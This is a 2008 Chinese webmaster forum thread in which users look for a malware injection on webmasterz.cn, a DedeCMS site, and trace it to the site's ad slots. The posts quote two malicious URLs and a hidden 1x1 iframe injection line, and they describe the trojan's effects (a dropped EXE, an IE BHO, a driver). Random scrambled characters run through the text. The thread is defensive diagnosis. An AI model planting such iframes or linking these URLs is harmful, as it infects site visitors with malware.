webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
1 ^' J3 S( B. b  f' Y) Chttp://ppp.749571.com/dm/test.htm
6 e& S1 v% h( }2 @, fhttp://www.985676.cn/encrypt/mm.htm
這兩個是免殺的，還有幾個沒記下來，
+ r- d& K  G* i1 Q這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了
2 z5 C7 y$ M! n8 q+ Y: s$ z
iframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
然後再這個地址轉到ppp.749571.co m/dm/test.htm
) x) Z: N" S$ G' _" V0 H為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
7 S/ E: N: r2 @0 n7 S8 y' L沒裝REAL就沒事，好在我重新裝的系統:

說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
進dede後台
檢查 ad_js.php?aid=1  
# J5 v9 [/ T6 Kad_js.php?aid=2
, B7 y; s3 }$ b+ had_js.php?aid=3
0 }# I  m4 x! b( V. g2 aad_js.php?aid=4

# ~1 o/ O4 W) Z1 z  d4 X這幾個廣告 裡面的代碼
在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

' D+ @2 f  l2 Y% H
這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表


0 b2 M( |2 A) J& ~這個檢查了沒有的

6 n, L+ N9 }0 q6 {& I9 P3 l
* ?! F' E- A7 M0 _
2 x  K0 w% L" l6 T" `% s6 D我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表

. p% P3 @% B. T! L: J8 L2 j
$ f( O8 z8 T5 n3 q! f  @/ n4 {這個檢查了沒有的

木馬就是在這裡裡啊
9 }3 m. L- }: k9 W8 P+ j* L在後台的掉茅廁位設置那
# k" w* P7 r: Z- F5 }裡

現在明瞭.
$ g0 q( R$ A5 N有人收流量做ppp.749571.co m的..
最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景